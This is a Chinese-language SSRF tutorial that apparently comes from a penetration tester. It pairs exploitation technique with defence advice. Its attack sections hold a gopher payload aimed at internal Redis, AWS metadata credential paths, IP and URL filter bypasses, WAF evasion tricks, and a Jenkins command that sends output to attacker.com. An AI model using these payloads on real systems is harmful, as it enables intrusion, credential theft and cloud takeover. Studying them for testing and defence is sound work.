指南)
1. SSRF漏洞的本質(zhì)與危害剖析SSRFServer-Side Request Forgery服務(wù)端請求偽造本質(zhì)上是一種由服務(wù)端發(fā)起非預(yù)期網(wǎng)絡(luò)請求的安全缺陷。不同于常規(guī)的CSRF跨站請求偽造需要誘導(dǎo)用戶操作SSRF的請求發(fā)起主體是服務(wù)器本身這使得它具有更隱蔽的攻擊特性。在實際滲透測試中我遇到過最典型的場景是某電商平臺的訂單導(dǎo)出功能允許用戶輸入URL地址來獲取外部商品信息。表面看這是個正常功能但當(dāng)攻擊者將內(nèi)網(wǎng)地址如192.168.1.1:8080作為參數(shù)提交時服務(wù)器竟然成功獲取到了內(nèi)網(wǎng)管理系統(tǒng)的登錄頁面HTML源碼——這就是典型的SSRF漏洞。這種漏洞的危害呈三級放大效應(yīng)初級危害掃描內(nèi)網(wǎng)端口和服務(wù)通過返回差異判斷端口開放狀態(tài)中級危害獲取敏感數(shù)據(jù)如訪問內(nèi)網(wǎng)Redis未授權(quán)服務(wù)高級危害實現(xiàn)RCE如結(jié)合CRLF注入攻擊Jenkins腳本控制臺關(guān)鍵注意現(xiàn)代云環(huán)境中SSRF可能直接獲取云服務(wù)元數(shù)據(jù)如AWS的169.254.169.254導(dǎo)致云主機接管等高危情況。2. 深度利用技術(shù)拆解2.1 協(xié)議利用的奇技淫巧除了常見的HTTP/HTTPS協(xié)議不同網(wǎng)絡(luò)協(xié)議在SSRF利用中有獨特價值Gopher協(xié)議堪稱SSRF中的瑞士軍刀能構(gòu)造任意格式的TCP數(shù)據(jù)包。我曾用以下Payload成功攻擊內(nèi)網(wǎng)Redisgopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$8%0d%0aHACKED%0d%0a*1%0d%0a$4%0d%0asave這個URL解碼后實際發(fā)送的是Redis命令*3 $3 set $1 1 $8 HACKED *1 $4 saveFile協(xié)議讀取服務(wù)器本地文件如file:///etc/passwd但現(xiàn)代WAF通常會直接攔截。DNS重綁定繞過IP黑名單的終極殺招。通過控制DNS解析結(jié)果使第一次校驗時返回合法IP實際請求時解析為內(nèi)網(wǎng)IP。實際操作時需要注冊域名并配置0.0.0.0的A記錄設(shè)置TTL為極短時間如60秒在請求發(fā)出后立即修改解析為靶機IP2.2 繞過防御的六種實戰(zhàn)姿勢2.2.1 IP格式混淆八進制IP0177.0.0.1 → 127.0.0.1十六進制IP0x7f000001 → 2130706433省略格式127.1 → 127.0.0.12.2.2 URL解析差異利用不同庫的解析特性# Python urllib vs requests http://user:passevil.com → urllib認(rèn)為host是evil.comrequests可能認(rèn)為是user:passevil.com2.2.3 重定向利用上傳一個302跳轉(zhuǎn)的PHP文件?php header(Location: http://169.254.169.254/latest/meta-data/); ?2.2.4 特殊字符注入CRLF注入http://example.com%0d%0aX-Injected:%20header問號截斷http://evil.com/?targethttp://192.168.1.12.2.5 域名白名單繞過子域名接管http://xxx.github.io假設(shè)github.io在白名單相似域名http://google.com.evil.com2.2.6 云環(huán)境特殊利用AWS元數(shù)據(jù)API繞過http://169.254.169.254/latest/meta-data/iam/security-credentials/當(dāng)直接訪問被攔截時嘗試http://[::ffff:169.254.169.254]/3. 防御方案與對抗演進3.1 傳統(tǒng)防御方案的局限性多數(shù)SSRF防御采用黑名單正則校驗?zāi)J酱嬖诠逃腥毕? 典型錯誤示例偽代碼 def check_ssrf(url): bad_domains [localhost, 169.254, 10.] for domain in bad_domains: if domain in url: return False return True這種方案至少存在三個問題無法覆蓋所有IP變形如前文的八進制、十六進制等形式對重定向攻擊完全無效可能誤殺合法業(yè)務(wù)如需要訪問包含10.的公開域名3.2 現(xiàn)代防御體系構(gòu)建3.2.1 網(wǎng)絡(luò)層防護出口防火墻禁止服務(wù)器主動向外發(fā)起非業(yè)務(wù)必要協(xié)議的請求如禁用Gopher、FTP等網(wǎng)絡(luò)隔離將可能觸發(fā)SSRF的服務(wù)放在獨立DMZ區(qū)3.2.2 代碼層防護使用URL標(biāo)準(zhǔn)化庫如Python的urllib.parse實施嚴(yán)格的allowlist機制ALLOWED_DOMAINS {api.weixin.qq.com, cdn.example.com} def safe_request(url): parsed urllib.parse.urlparse(url) if parsed.hostname not in ALLOWED_DOMAINS: raise ValueError(Invalid domain) # 繼續(xù)處理請求...3.2.3 運行時防護請求特征檢測如異常User-Agent、高頻內(nèi)網(wǎng)請求請求結(jié)果驗證如檢查返回內(nèi)容是否包含HTML標(biāo)簽3.3 對抗WAF的進階技巧當(dāng)遇到專業(yè)WAF時可以嘗試分塊傳輸編碼通過Transfer-Encoding: chunked繞過內(nèi)容檢測協(xié)議嵌套http://localhost:80evil.com:8080/不同解析器理解不同Unicode混淆http://???????.???→ example.com4. 實戰(zhàn)案例與排查記錄4.1 某金融系統(tǒng)SSRF-RCE完整鏈條在一次授權(quán)測試中發(fā)現(xiàn)的經(jīng)典案例發(fā)現(xiàn)PDF導(dǎo)出功能存在URL參數(shù)通過DNS重綁定訪問到內(nèi)網(wǎng)Jenkinshttp://localhost:8080利用Jenkins腳本控制臺執(zhí)行命令curl http://attacker.com/$(whoami).execute().text獲取到root權(quán)限后讀取宿主機Docker socket文件最終控制整個K8s集群關(guān)鍵教訓(xùn)該系統(tǒng)的防御僅驗證了URL是否包含黑名單關(guān)鍵詞未校驗DNS最終解析IP。4.2 常見錯誤排查表現(xiàn)象可能原因驗證方法請求返回連接超時目標(biāo)端口未開放換端口多次嘗試返回400錯誤WAF攔截特殊字符逐步簡化Payload測試返回相同錯誤頁面請求未到達目標(biāo)對比不同IP的返回差異響應(yīng)內(nèi)容被修改中間件過濾檢查響應(yīng)頭中的Server字段5. 防御方案演進建議基于近年攻防對抗經(jīng)驗我總結(jié)出三條核心原則默認(rèn)拒絕原則所有未明確允許的URL格式都應(yīng)拒絕而非相反縱深檢測原則在客戶端、服務(wù)端、網(wǎng)絡(luò)層分別實施不同維度的校驗最小化原則業(yè)務(wù)需要什么能力就開放什么如只需HTTP GET就不應(yīng)允許其他方法具體到代碼實現(xiàn)推薦使用經(jīng)過實戰(zhàn)檢驗的庫# 使用安全的請求庫 from ssrf_filter import SSRFProtectedSession session SSRFProtectedSession(allowed_domains[api.example.com]) response session.get(user_input_url) # 自動攔截危險請求最后分享一個檢測SSRF的簡單方法在本地搭建nc監(jiān)聽然后嘗試讓服務(wù)器訪問http://your-ip:port觀察是否收到連接請求。這個技巧在內(nèi)部紅藍對抗中非常實用。